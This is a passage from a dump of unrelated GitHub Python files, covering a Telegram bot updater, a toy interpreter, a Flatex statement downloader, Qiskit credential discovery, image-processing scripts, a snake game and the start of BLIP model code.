\"\"\"\n photo_id, text = db_query(\n f\"select photo_id, caption from post_templates where job_type = {self.job_type}\"\n )[0]\n text = fill_template(text, self.order_number, self.start_date)\n text, work_today = self.get_posted_message(text)\n\n try:\n context.bot.edit_message_media(\n chat_id=self.job_chat_id,\n message_id=self.job_message_id,\n media=InputMediaPhoto(\n media=photo_id,\n caption=text,\n parse_mode=ParseMode.HTML),\n )\n except Exception as e1:\n logger.info(f\"Edited job with id {self.job_id} with media FAILED: {e1}\")\n try:\n context.bot.edit_message_text(\n text=text,\n chat_id=self.job_chat_id,\n message_id=self.job_message_id,\n parse_mode=ParseMode.HTML,\n disable_web_page_preview=True,\n )\n except Exception as e2:\n logger.info(f\"Edited job with id {self.job_id} with text FAILED: {e2}\")\n\n\n try:\n if not self.on_demand:\n logger.info(\n f\"Edited job with id {self.job_id} after posted sticker id {self.sticker_id} by @{self.username} with firstname {self.user_firstname}\"\n )\n\n if work_today == self.sticker_power:\n r_1 = Responses.get(self.job_type, 1)\n r_2 = Responses.get(self.job_type, 2)\n line = '' if r_1 == '' else '\\n\\n'\n text = f\"День {int(self.cur_day+1)}/5 выполнен!\"\n text += f\"\\n\\n{r_1 + line + r_2}\"\n else:\n text = f\"За сегодня добавлено {minutes_to_hours(work_today)}!\"\n\n bot_message_to_chat(\n context, self.chat_id_user_reply, text, 60, self.message_id_user_reply, ParseMode.HTML\n )\n else:\n logger.info(f\"Edited job with id {self.job_id} after ON DEMAND update\")\n\n except BadRequest as e:\n logger.info(f\"Edited job with id {self.job_id} after ON DEMAND update FAILED: {e}\")\n\n\n def get_emoji(self, work: int) -> str:\n if work >= 240:\n return '🌟'\n elif work >= 120:\n return '⭐️'\n elif work >= 60:\n return '🌕'\n elif work >= 45:\n return '🌖'\n elif work >= 30:\n return '🌗'\n elif work >= 15:\n return '🌘'\n else:\n return '🌑'\n\n def render_drowned(self, name_phrase: str, total: int, crossed: bool) -> str:\n if crossed:\n return f\"{name_phrase}({minutes_to_hours(total)})\"\n else:\n return f\"{name_phrase}({minutes_to_hours(total)})\"\n\n def truncate(self, string: str, length: int) -> str:\n if len(string) > length:\n return string[:length] + \"...\"\n else:\n return string\n\n def get_posted_message(self, text: str) -> None:\n # Collecting data about current job progress\n query = db_query(\n f\"\"\"select user_id, first_name, total, d0, d1, d2, d3, d4, d5, d6\n from\n (select user_id , sum(case when sday = 0 then power else 0 end) d0, sum(case when sday = 1 then power else 0 end) d1\n , sum(case when sday = 2 then power else 0 end) d2, sum(case when sday = 3 then power else 0 end) d3\n , sum(case when sday = 4 then power else 0 end) d4, sum(case when sday = 5 then power else 0 end) d5\n , sum(case when sday = 6 then power else 0 end) d6, sum(power) total\n from\n (select user_id, date_part('day', jobs_updates.created - jobs.created) as sday, sticker_id\n from jobs_updates join jobs on jobs.id = jobs_updates.job_id\n where job_id = {self.job_id}) t join stickers on stickers.id = t.sticker_id\n group by user_id) t \n join users on users.id=t.user_id \n order by total desc\n ;\"\"\"\n )\n\n user_levels = get_user_levels(self.job_type)\n\n text = text.split(f\"\\n\\n{USERS}:\")[0]\n\n users = list()\n work_today = 0\n\n for user_id, user_firstname, total, *days in query:\n is_first_fail = True\n weekends = 0\n # chr(8206) is a mark to keep text format left to right\n name_phrase = (\n f'{chr(8206)}{self.truncate(user_firstname, TRUNCATE_LENGTH)}'\n )\n phrase = str()\n\n for i, work in enumerate(days):\n work = int(work)\n\n # Checking if today is the first activity of user\n if i == self.cur_day:\n work_user_today = work # This is today work time for the user in the for loop.\n if user_id == self.user_id:\n work_today = work # This is today work time for the user who sent the sticker.\n\n # Weekends\n if i >= 5:\n weekends += work\n # Workdays\n elif work == 0 and i < self.cur_day:\n #phrase += EM_FAIL\n phrase += '✖️'\n is_first_fail = False\n elif work > 0:\n #phrase += EM_TRUE\n phrase += self.get_emoji(work)\n else:\n #phrase += EM_FALSE\n phrase += '🌑'\n\n phrase += f\"\\n🕰 {minutes_to_hours(total)}\"\n if weekends == 0:\n # Today is a workday.\n if work_user_today > 0:\n phrase += f\"[+{minutes_to_hours(work_user_today)}]\"\n else:\n # Today is a weekday.\n phrase += f\" ✨{minutes_to_hours(weekends)}\"\n\n try:\n level = f\"💫{user_levels[user_id]}\"\n except:\n level = f\"💫0\"\n if is_first_fail:\n drowned = False\n else:\n drowned = True\n users.append((name_phrase, level, phrase, total, drowned))\n\n added_text = str()\n i = 0\n\n for i, (name_phrase, level, phrase, total, drowned) in enumerate(users):\n num = i+1\n if num <= DROWN_AFTER:\n if drowned:\n added_text += f\"{num}. {name_phrase}{level}\\n{phrase}\\n\\n\"\n else:\n added_text += f\"{num}. {name_phrase}{level}\\n{phrase}\\n\\n\"\n else:\n if num == DROWN_AFTER + 1:\n added_text += '⚓️ Потонувшие:\\n'\n else:\n added_text += ', '\n added_text += self.render_drowned(name_phrase, total, drowned)\n\n text += \"\\n\\n\" + added_text\n\n return text, work_today\n","repo_name":"sergei-bondarenko/zensubot","sub_path":"bot/post_updater.py","file_name":"post_updater.py","file_ext":"py","file_size_in_byte":11179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33064134254","text":"from abbey.errors import TypeError_\r\n\r\n\r\nclass Str(str):\r\n\r\n\tdef length(self):\r\n\t\treturn len(self)\r\n\r\n\tdef lenght(self):\r\n\t\t#spelling issue\r\n\t\treturn len(self)\r\n\r\ndef SquareRoot(self,x,y):\r\n\treturn x**y\r\n\r\ndef prints(self,*args):\r\n\tprint(*args)\r\n\r\ndef opens(self,*args):\r\n\treturn open(*args)\r\n\r\ndef _len(self,obj):\r\n\tif isinstance(obj,int):\r\n\t\treturn len(str(obj))\r\n\treturn len(obj)\r\n\r\ndef _slice(self,obj,start,stop):\r\n\tnew = obj[start:stop]\r\n\treturn new\r\n\r\nclass Builtins:\r\n\t# param_num = None\r\n\t# name = ''\r\n\t# callback = ''\r\n\t# overide attributes\r\n\tdef __init__(self,params=None,keywords=None,body=None,line=None):\r\n\t\tself.params = params\r\n\r\n\tdef check_args(self,node):\r\n\t\tif self.param_num == \"*\":\r\n\t\t\treturn \r\n\t\tif len(node.arguements) != self.param_num:\r\n\t\t\tgiven = len(node.arguements)\r\n\t\t\traise TypeError_('builtin function {}() takes {} positional argument but {} were given '.format(self.name,self.param_num,given),node.line)\r\n\r\nclass Open(Builtins):\r\n\tname = 'open'\r\n\tparam_num = '*'\r\n\tcallback = opens\r\n\r\nclass Write(Builtins):\r\n\tname = 'write'\r\n\tparam_num = '*'\r\n\tcallback = print\r\n\r\nclass Square(Builtins):\r\n\tname = 'sqrt'\r\n\tparam_num = '*'\r\n\tcallback = SquareRoot\r\n\r\nclass Print(Write):\r\n\tname = 'print'\r\n\r\nclass Len(Builtins):\r\n\tname = 'len'\r\n\tparam_num = 1\r\n\tcallback = _len\r\nclass Int(Builtins):\r\n\tname = 'int'\r\n\tparam_num = 1\r\n\tcallback = int\r\n\r\nclass Slice(Builtins):\r\n\tname = 'slice'\r\n\tparam_num = 3\r\n\tcallback = _slice\r\n\r\nclass Input(Builtins):\r\n\tname = 'input'\r\n\tparam_num ='*'\r\n\tcallback = input\r\nbuiltins = [Write,Open,Square,Len,Int,Input,Slice]\r\ndef load_builtins(env):\r\n\tfor kls in builtins:\r\n\t\tenv.set(kls.name,kls())\r\n\r\n","repo_name":"Horlarwumhe/abbey","sub_path":"_builtins.py","file_name":"_builtins.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"11264775064","text":"try:\n from icecream import ic\nexcept ImportError: # Graceful fallback if IceCream isn't installed.\n ic = lambda *a: None if not a else (a[0] if len(a) == 1 else a) # noqa\n\nfrom typing import List\nimport requests\n\n\ndef getRequiredLang(country: str) -> List:\n url = f\"https://translator-api-qa.taethni.com/api/languages/country/{country}\"\n res = requests.get(url)\n languages = [lang[\"code\"] for lang in res.json()]\n return languages\n\n\ndef getVillages(country: str, language: str) -> List:\n url = f\"https://translator-api-qa.taethni.com/api/Keys/{country}/{language}\"\n res = requests.get(url)\n res = res.json()\n return res\n\n","repo_name":"samgabrail/hack2021-cotw","sub_path":"translator_api.py","file_name":"translator_api.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72286466163","text":"import skimage.io as skio\nimport napari\nimport tifffile as tif\nimport shared.display as dis\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\n\n# INPUT PARAMETERS\n# file info\nmaster_folder = \"/Users/xwyan/Dropbox/LAB/ChangLab/Projects/Data/20221219_analysis_Ivy_RNAFISH/\"\ndata_dir = \"%sdata/\" % master_folder\noutput_dir = \"%sfigures/\" % master_folder\n\n\ndef fov_to_str(fov):\n if fov < 10:\n out = '00%s' % fov\n else:\n out = '0%s' % fov\n return out\n\n\nsample = 'PC9'\n# fov_lst = [fov_to_str(i) for i in np.arange(2, 37, 1)] + ['Mn_'+fov_to_str(i) for i in np.arange(1, 7, 1)] # Colo320DM\n# fov_lst = [fov_to_str(i) for i in np.arange(1, 31, 1)] # Colo320HSR\n# fov_lst = ['MycI2_'+fov_to_str(i) for i in np.arange(1, 17, 1)] # HCT116\nfov_lst = list(np.arange(1, 9, 1)) + list(np.arange(10, 13, 1)) + [fov_to_str(i) for i in np.arange(13, 16, 1)] + [fov_to_str(i) for i in np.arange(17, 26, 1)] + [fov_to_str(i) for i in np.arange(27, 36, 1)] # PC3\n# fov_lst = [fov_to_str(i) for i in np.arange(1, 2, 1)] + ['Mn_'+fov_to_str(i) for i in np.arange(1, 8, 1)] + ['Mn_'+fov_to_str(i) for i in np.arange(9, 19, 1)] # PC9\n\nfor fov in range(len(fov_lst)):\n file_name = '%s_%s_Lng_SVCC_Processed001_RAW' % (sample, fov_lst[fov])\n img_hoechst = skio.imread(\"%s%s/%s_ch00.tif\" % (data_dir, sample, file_name), plugin=\"tifffile\")\n img_RNAFISH = skio.imread(\"%s%s/%s_ch01.tif\" % (data_dir, sample, file_name), plugin=\"tifffile\")\n\n viewer = napari.Viewer()\n viewer.add_image(img_hoechst, blending='additive', colormap='blue', contrast_limits=[0, img_hoechst.max()])\n viewer.add_image(img_RNAFISH, blending='additive', colormap='red', contrast_limits=[0, img_RNAFISH.max()])\n # plt.imsave('%s%s/color_img/%s_%s_img_FISH_and_IF.tiff' % (output_dir, sample, sample, i), dis.blending(viewer))\n # viewer.close()\n napari.run()\n","repo_name":"xwyan1230/ecDNA_napari-env","sub_path":"analysis/14_20221219_Ivy_RNAFISH/01_check_img.py","file_name":"01_check_img.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71260060403","text":"from time import sleep,time\nfrom Environnement.Snake import Snake\nfrom Environnement.SnakeEnv import SnakeEnv\nimport concurrent.futures\n\nclass GameManager:\n def __init__(self,tickInterval,gridSizeX,gridSizeY,agents) :\n \n snakes = [Snake(agent.id,(gridSizeX//(len(agents)+1))*(i+1),gridSizeY//2,3,agent.color) for i,agent in enumerate(agents) ]\n \n self.env = SnakeEnv(gridSizeX,gridSizeY,snakes)\n self.agents = agents\n self.tickInterval = tickInterval\n \n def run(self) :\n while True :\n observations = self.env.reset()\n while(not(self.env.done)) :\n actions = []\n startTime = time()\n with concurrent.futures.ThreadPoolExecutor(max_workers=4) as executor:\n # submit the function and each object to the thread pool\n futures = [executor.submit(agent.getAction, observations[i]) for i,agent in enumerate(self.agents)]\n\n # iterate over the completed futures and retrieve their return values\n for future in concurrent.futures.as_completed(futures):\n action = future.result()\n if(self.getAgentByID(action.id).useLocal) :\n action.direction = self.localToGlobal(action,self.env.getSnake(action.id))\n \n actions.append(action)\n observations,_,_,_ = self.env.step(actions)\n self.env.render() \n timeElapsed = time()-startTime\n sleepTime = self.tickInterval - timeElapsed\n if(sleepTime>0) :\n sleep(sleepTime)\n \n\n def localToGlobal(self,action,snake) :\n leftBinding = {'UP': 'LEFT', 'DOWN': 'RIGHT', 'LEFT': 'DOWN', 'RIGHT': 'UP'}\n rightBinding = {'UP': 'RIGHT', 'DOWN': 'LEFT', 'LEFT': 'UP', 'RIGHT': 'DOWN'}\n\n #choose to go left\n if action.direction == 'LEFT' :\n return leftBinding[snake.direction]\n #choose to go forward\n elif action.direction == 'STRAIGHT' :\n return snake.direction\n #choose to go right\n elif action.direction == 'RIGHT' :\n return rightBinding[snake.direction]\n \n def getAgentByID(self,id) :\n for agent in self.agents :\n if(agent.id == id ) :\n return agent","repo_name":"KikitoBk/SWORD","sub_path":"GameManager/GameManager.py","file_name":"GameManager.py","file_ext":"py","file_size_in_byte":2424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40695147855","text":"#!/usr/bin/env python3\n\nclass Solution(object):\n def numDecodings(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n\n result = 0\n\n if s is None or s == '':\n return result\n\n if s[0] == '0':\n return result\n\n s += '.'\n\n tmp = [0] * (len(s))\n tmp[-1] = 1\n tmp[-2] = 1\n\n for i in range(len(tmp)-2)[::-1]:\n if int(s[i]) == 1 or (int(s[i]) == 2 and int(s[i+1]) <= 6):\n if s[i+2] == '0' or s[i+1] == '0':\n tmp[i] = tmp[i+1]\n else:\n tmp[i] = tmp[i+1] + tmp[i+2]\n elif s[i+1] == '0':\n return 0\n else:\n tmp[i] = tmp[i+1]\n\n return tmp[0]\n\ns = Solution()\nprint(s.numDecodings('20'))\n\n\n","repo_name":"vNKB7/leetcode","sub_path":"python/91_Decode_Ways.py","file_name":"91_Decode_Ways.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11171356825","text":"import cv2\nimport thinning as p\n\n\nclass ColSegmentation:\n\n def preprocessing(self, im_bw):\n\n w = 0\n b = 0\n for i in range(len(im_bw)):\n for j in range(len(im_bw[0])):\n if im_bw[i, j] == 0:\n b += 1\n else:\n w += 1\n if (w > b):\n im_bw = cv2.bitwise_not(im_bw)\n return im_bw\n\n def get_boundaries_indices(self, thining_image):\n\n height, width = thining_image.shape\n\n Boundries = []\n\n for colIndex in range(width): # width(no.of columns)\n whitekPixel = 0\n current_cell = colIndex # to keep track for sequential col contain lines\n\n for rowIndex in range(height): # height(no.of rows in column)\n if thining_image[rowIndex, current_cell] == 255: # for check below pixel \"high priority than other\"\n whitekPixel += 1\n elif (current_cell < width - 1 and thining_image[\n rowIndex, current_cell + 1] == 255): # for check right below pixel and not out of index\n whitekPixel += 1\n current_cell += 1\n elif (current_cell != 0 and thining_image[\n rowIndex, current_cell - 1] == 255): # for check left below pixel and not out of index\n whitekPixel += 1\n current_cell -= 1\n\n if whitekPixel >= round(height * .90): # check Number of pixel , to know it is col or not\n Boundries.append(colIndex)\n return Boundries\n\n def col_segmentation(self, img):\n\n original_imgage = self.preprocessing(\n img) # keep original image after preprocess,background white and words black\n thining_image = p.guo_hall_thinning(\n original_imgage.copy()) # make thining for image,it make background black and words white\n height, width = thining_image.shape\n\n Boundries = self.get_boundaries_indices(thining_image)\n\n colIndices = []\n\n # for thinned image\n for col in range(0, len(Boundries) - 1):\n thining_croped_image = thining_image[0:height, Boundries[col]:Boundries[col + 1]]\n original_croped_image = original_imgage[0:height, Boundries[col]:Boundries[col + 1]]\n # imgNumber = str(counter())\n if len(thining_croped_image[0]) > 10 and len(thining_croped_image) > 10:\n colIndices.append((thining_croped_image, original_croped_image))\n # cv2.imwrite(\"output\\\\cols\\\\\" + imgNumber + \".png\", original_croped_image)\n # wordSegmentaion(thining_croped_image, original_croped_image)\n return colIndices\n","repo_name":"the-squad/excelify","sub_path":"api/Code/ColSegmentation.py","file_name":"ColSegmentation.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"15658696462","text":"import logging\n\nfrom qiskit import QISKitError\nfrom ._configrc import read_credentials_from_qiskitrc, store_credentials\nfrom ._environ import read_credentials_from_environ\nfrom ._qconfig import read_credentials_from_qconfig\nfrom ._utils import get_account_name\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef discover_credentials():\n \"\"\"\n Automatically discover credentials for online providers.\n\n This method looks for credentials in the following locations, in order,\n and returning as soon as credentials are found::\n\n 1. in the `Qconfig.py` file in the current working directory.\n 2. in the environment variables.\n 3. in the `qiskitrc` configuration file.\n\n Returns:\n dict: dictionary with the contents of the configuration file, with\n the form::\n\n {'provider_name': {'token': 'TOKEN', 'url': 'URL', ... }}\n \"\"\"\n # 1. Attempt to read them from the `Qconfig.py` file.\n try:\n qconfig_credentials = read_credentials_from_qconfig()\n if qconfig_credentials:\n logger.info('Using credentials from qconfig')\n return qconfig_credentials\n except QISKitError as ex:\n logger.warning(\n 'Automatic discovery of qconfig credentials failed: %s', str(ex))\n\n # 2. Attempt to read them from the environment variables.\n try:\n environ_credentials = read_credentials_from_environ()\n if environ_credentials:\n logger.info('Using credentials from environment variables')\n return environ_credentials\n except QISKitError as ex:\n logger.warning(\n 'Automatic discovery of environment credentials failed: %s',\n str(ex))\n\n # 3. Attempt to read them from the qiskitrc file.\n try:\n provider_credentials = read_credentials_from_qiskitrc()\n if provider_credentials:\n logger.info('Using credentials from qiskitrc')\n return provider_credentials\n except QISKitError as ex:\n logger.warning(\n 'Automatic discovery of qiskitrc credentials failed: %s', str(ex))\n\n return {}\n","repo_name":"niefermar/CuanticaProgramacion","sub_path":"qiskit/wrapper/credentials/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32696868480","text":"import re\nimport os\nimport json\nimport click\nimport requests\nimport posixpath\nfrom urllib.parse import urljoin, urlparse\nfrom datetime import date, timedelta\n\n\nPORTALS = {\n \"at\": {\n \"url_base\": \"https://konto.flatex.at/banking-flatex.at/\",\n \"sso_url\": \"https://www.flatex.at/sso\",\n },\n \"de\": {\n \"url_base\": \"https://konto.flatex.de/banking-flatex/\",\n \"sso_url\": \"https://www.flatex.de/sso\",\n },\n}\nDEFAULT_PORTAL = \"at\"\n\nUSER_AGENT = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36\"\n\n_token_re = re.compile(r'\\bwebcore\\.setTokenId\\s*\\(\\s*\"(.*?)\"')\n_pdf_download_re = re.compile(r'DocumentViewer\\.display\\((\".*?\\.pdf\")')\n_csv_download_re = re.compile(r'DocumentViewer\\.display\\((\".*?\\.csv\")')\n\n\ndef _format_date(d):\n return d.strftime(\"%d.%m.%Y\")\n\n\ndef _iter_dates(start, end):\n ptr = end\n while ptr >= start:\n ptr -= timedelta(days=14)\n yield max(ptr, start), end\n end = ptr\n\n\nclass Fetcher(object):\n def __init__(self, session_id=None, portal=None):\n if portal is None:\n portal = DEFAULT_PORTAL\n self.session_id = session_id\n self.window_id = None\n self.token_id = None\n self.portal = portal\n self.session = requests.Session()\n\n @property\n def url_base(self):\n return PORTALS[self.portal][\"url_base\"]\n\n @property\n def sso_url(self):\n return PORTALS[self.portal][\"sso_url\"]\n\n def login(self, user_id, password):\n self.session.post(\n self.sso_url,\n headers={\"User-Agent\": USER_AGENT},\n data={\n \"tx_flatexaccounts_singlesignonbanking[uname_app]\": str(user_id),\n \"tx_flatexaccounts_singlesignonbanking[password_app]\": password,\n \"tx_flatexaccounts_singlesignonbanking[sessionpass]\": \"\",\n },\n )\n\n def _request(self, url, data):\n url = urljoin(self.url_base, url)\n headers = {\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"X-windowId\": self.window_id or \"x\",\n \"X-tokenId\": self.token_id or \"x\",\n \"Accept\": \"*/*\",\n \"X-AJAX\": \"true\",\n \"User-Agent\": USER_AGENT,\n }\n\n if self.session_id is not None:\n cookies = {\n \"JSESSIONID\": self.session_id,\n \"sessionLength\": \"1800\",\n }\n else:\n cookies = None\n\n resp = self.session.post(\n url,\n cookies=cookies,\n headers=headers,\n data=data,\n )\n\n json = resp.json()\n for command in json[\"commands\"]:\n if command[\"command\"] == \"fullPageReplace\":\n token = _token_re.search(command[\"content\"])\n if token is not None:\n self.token_id = token.group(1)\n if \"windowId\" in command:\n self.window_id = command[\"windowId\"]\n\n return json\n\n def _archive_list_request(self, data):\n return self._request(\n \"documentArchiveListFormAction.do\",\n {\n \"accountSelection.account.selecteditemindex\": \"0\",\n \"documentCategory.selecteditemindex\": \"0\",\n \"readState.selecteditemindex\": \"0\",\n \"dateRangeComponent.retrievalPeriodSelection.selecteditemindex\": \"5\",\n \"storeSettings.checked\": \"off\",\n **data,\n },\n )\n\n def iter_download_urls(self, start_date, end_date):\n data = {\n \"dateRangeComponent.startDate.text\": _format_date(start_date),\n \"dateRangeComponent.endDate.text\": _format_date(end_date),\n }\n\n self._archive_list_request({\"applyFilterButton.clicked\": \"true\", **data})\n\n idx = 0\n while True:\n found = False\n rv = self._archive_list_request(\n {\n \"documentArchiveListTable.selectedrowidx\": str(idx),\n **data,\n }\n )\n\n for command in rv[\"commands\"]:\n if command[\"command\"] == \"execute\":\n download = _pdf_download_re.search(command[\"script\"])\n if download is not None:\n yield urljoin(self.url_base, json.loads(download.group(1)))\n found = True\n break\n\n if not found:\n break\n\n idx += 1\n\n def iter_all_download_urls(self, start_date=None, end_date=None, days=None):\n if end_date is None:\n end_date = date.today()\n if days is not None:\n start_date = end_date - timedelta(days=days)\n if start_date is None:\n raise TypeError(\"no start date\")\n\n for start_date, end_date in _iter_dates(start_date, end_date):\n for url in self.iter_download_urls(start_date, end_date):\n yield url\n\n def download_file(self, url):\n cookies = None\n self.session.headers = {\"User-Agent\": USER_AGENT}\n if self.session_id is not None:\n cookies = {\"JSESSIONID\": self.session_id}\n return self.session.get(urljoin(self.url_base, url), cookies=cookies)\n\n def download_all(self, target_folder, **kwargs):\n try:\n os.makedirs(target_folder)\n except OSError:\n pass\n\n for url in self.iter_all_download_urls(**kwargs):\n filename = posixpath.basename(urlparse(url).path)\n target_file = os.path.join(target_folder, filename)\n if os.path.isfile(target_file):\n status = \"X\"\n else:\n status = \"A\"\n with self.download_file(url) as resp:\n if (\n b\"Please wait while we are checking your browser for security issues\"\n in resp.content\n ):\n status = \"?\"\n else:\n with open(target_file, \"wb\") as df:\n df.write(resp.content)\n print(f\"{status} {filename}\")\n\n def download_csv(self, csv, start_date=None, end_date=None, days=None):\n if csv == \"transactions\":\n endpoint = \"depositTransactionsFormAction.do\"\n form = \"depositTransactionsForm\"\n elif csv == \"account\":\n endpoint = \"accountPostingsFormAction.do\"\n form = \"accountPostingsForm\"\n else:\n raise TypeError(\"unknown csv\")\n\n if end_date is None:\n end_date = date.today()\n if days is not None:\n start_date = end_date - timedelta(days=days)\n if start_date is None:\n raise TypeError(\"no start date\")\n\n self._request(\n endpoint,\n {\n \"dateRangeComponent.startDate.text\": _format_date(start_date),\n \"dateRangeComponent.endDate.text\": _format_date(end_date),\n \"depositSelection.deposit.selecteditemindex\": \"0\",\n \"searchType.selecteditemindex\": \"0\",\n \"dateRangeComponent.retrievalPeriodSelection.selecteditemindex\": \"5\",\n },\n )\n\n rv = self._request(\n \"ajaxCommandServlet\",\n {\n \"command\": \"triggerAction\",\n \"delay\": \"0\",\n \"eventData\": json.dumps({\"button\": 0, \"value\": \"\"}),\n \"eventType\": \"click\",\n \"formName\": form,\n \"widgetId\": form + \"_tableActionCombobox_entriesI1I\",\n \"widgetName\": \"tableActionCombobox.entries[1]\",\n },\n )\n for command in rv[\"commands\"]:\n if command[\"command\"] == \"execute\":\n match = _csv_download_re.search(command[\"script\"])\n if match is not None:\n url = urljoin(self.url_base, json.loads(match.group(1)))\n with self.download_file(url) as resp:\n return resp.content\n\n\n@click.command()\n@click.option(\"--session-id\", help=\"the optional session id from flatex (JSESSIONID)\")\n@click.option(\"-u\", \"--userid\", help=\"the user ID to use for sign-in\")\n@click.option(\"-p\", \"--password\", help=\"the password to use for sign-in\")\n@click.option(\n \"--csv\",\n help=\"Download a CSV and print to stdout instead\",\n type=click.Choice([\"transactions\", \"account\"]),\n)\n@click.option(\n \"-o\",\n \"--output\",\n help=\"The output folder where PDFs go\",\n default=\"pdfs\",\n show_default=True,\n)\n@click.option(\n \"--portal\",\n help=\"Which Flatex portal to use\",\n default=DEFAULT_PORTAL,\n show_default=True,\n type=click.Choice(sorted(PORTALS.keys())),\n)\n@click.option(\n \"--days\", help=\"How many days of PDFs to download\", default=90, show_default=True\n)\ndef cli(session_id, userid, password, output, portal, days, csv):\n \"\"\"A utility to download PDFs from flatex.at.\n\n The default behavior is to download PDFs but optionally with --csv\n one can get one of the two CSV types (\"transactions\" for a list of\n tranasctions or \"account\" for the account overview) instead.\n \"\"\"\n fetcher = Fetcher(session_id, portal=portal)\n if userid:\n if not password:\n password = click.prompt(\"password\", hide_input=True)\n fetcher.login(userid, password)\n if csv:\n downloaded = fetcher.download_csv(csv, days=days)\n if downloaded is not None:\n click.echo(downloaded)\n else:\n click.abort(\"\")\n else:\n fetcher.download_all(output, days=days)\n\n\nif __name__ == \"__main__\":\n cli()\n","repo_name":"mitsuhiko/flatex-pdf-download","sub_path":"flatex-fetch.py","file_name":"flatex-fetch.py","file_ext":"py","file_size_in_byte":9665,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"75"} +{"seq_id":"18897838288","text":"import warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom .blip_vit import VisionTransformer, interpolate_pos_embed\nfrom .blip_med import BertConfig, BertModel, BertLMHeadModel\nfrom transformers import BertTokenizer\n\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\n\nimport os\nfrom urllib.parse import urlparse\nfrom timm.models.hub import download_cached_file\nimport numpy as np\n\nfrom pathlib import Path\nLOCAL_PATH = os.path.dirname(os.path.abspath(__file__))\n\n# BLIP\n\nclass BLIP_Base(nn.Module):\n def __init__(self, \n med_config = Path(LOCAL_PATH, 'blip_configs/med_config.json'), \n image_size = 224,\n vit = 'base',\n vit_grad_ckpt = False,\n vit_ckpt_layer = 0, \n ):\n \"\"\"\n Args:\n med_config (str): path for the mixture of encoder-decoder model's configuration file\n image_size (int): input image size\n vit (str): model size of vision transformer\n \"\"\" \n super().__init__()\n \n self.visual_encoder, vision_width = create_vit(vit,image_size, vit_grad_ckpt, vit_ckpt_layer)\n self.tokenizer = init_tokenizer() \n med_config = BertConfig.from_json_file(med_config)\n med_config.encoder_width = vision_width\n self.text_encoder = BertModel(config=med_config, add_pooling_layer=False) \n\n \n def forward(self, image, caption, mode):\n \n assert mode in ['image', 'text', 'multimodal'], \"mode parameter must be image, text, or multimodal\"\n text = self.tokenizer(caption, return_tensors=\"pt\").to(image.device) \n \n if mode=='image': \n # return image features\n image_embeds = self.visual_encoder(image) \n return image_embeds\n \n elif mode=='text':\n # return text features\n text_output = self.text_encoder(text.input_ids, attention_mask = text.attention_mask, \n return_dict = True, mode = 'text') \n return text_output.last_hidden_state\n \n elif mode=='multimodal':\n # return multimodel features\n image_embeds = self.visual_encoder(image) \n image_atts = torch.ones(image_embeds.size()[:-1],dtype=torch.long).to(image.device) \n \n text.input_ids[:,0] = self.tokenizer.enc_token_id\n output = self.text_encoder(text.input_ids,\n attention_mask = text.attention_mask,\n encoder_hidden_states = image_embeds,\n encoder_attention_mask = image_atts, \n return_dict = True,\n ) \n return output.last_hidden_state\n \n \n \nclass BLIP_Decoder(nn.Module):\n def __init__(self, \n med_config = Path(LOCAL_PATH, 'blip_configs/med_config.json'), \n image_size = 384,\n vit = 'base',\n vit_grad_ckpt = False,\n vit_ckpt_layer = 0,\n prompt = 'a picture of ',\n ):\n \"\"\"\n Args:\n med_config (str): path for the mixture of encoder-decoder model's configuration file\n image_size (int): input image size\n vit (str): model size of vision transformer\n \"\"\" \n super().__init__()\n \n self.visual_encoder, vision_width = create_vit(vit,image_size, vit_grad_ckpt, vit_ckpt_layer)\n self.tokenizer = init_tokenizer() \n med_config = BertConfig.from_json_file(med_config)\n med_config.encoder_width = vision_width\n self.text_decoder = BertLMHeadModel(config=med_config) \n \n self.prompt = prompt\n self.prompt_length = len(self.tokenizer(self.prompt).input_ids)-1\n\n \n def forward(self, image, caption):\n \n image_embeds = self.visual_encoder(image) \n image_atts = torch.ones(image_embeds.size()[:-1],dtype=torch.long).to(image.device)\n \n text = self.tokenizer(caption, padding='longest', truncation=True, max_length=40, return_tensors=\"pt\").to(image.device) \n \n text.input_ids[:,0] = self.tokenizer.bos_token_id\n \n decoder_targets = text.input_ids.masked_fill(text.input_ids == self.tokenizer.pad_token_id, -100) \n decoder_targets[:,:self.prompt_length] = -100\n \n decoder_output = self.text_decoder(text.input_ids, \n attention_mask = text.attention_mask, \n encoder_hidden_states = image_embeds,\n encoder_attention_mask = image_atts, \n labels = decoder_targets,\n return_dict = True, \n ) \n loss_lm = decoder_output.loss\n \n return loss_lm\n \n def generate(self, image, sample=False, num_beams=3, max_length=30, min_length=10, top_p=0.9, repetition_penalty=1.0):\n image_embeds = self.visual_encoder(image)\n\n if not sample:\n image_embeds = image_embeds.repeat_interleave(num_beams,dim=0)\n \n image_atts = torch.ones(image_embeds.size()[:-1],dtype=torch.long).to(image.device)\n model_kwargs = {\"encoder_hidden_states\": image_embeds, \"encoder_attention_mask\":image_atts}\n \n prompt = [self.prompt] * image.size(0)\n input_ids = self.tokenizer(prompt, return_tensors=\"pt\").input_ids.to(image.device) \n input_ids[:,0] = 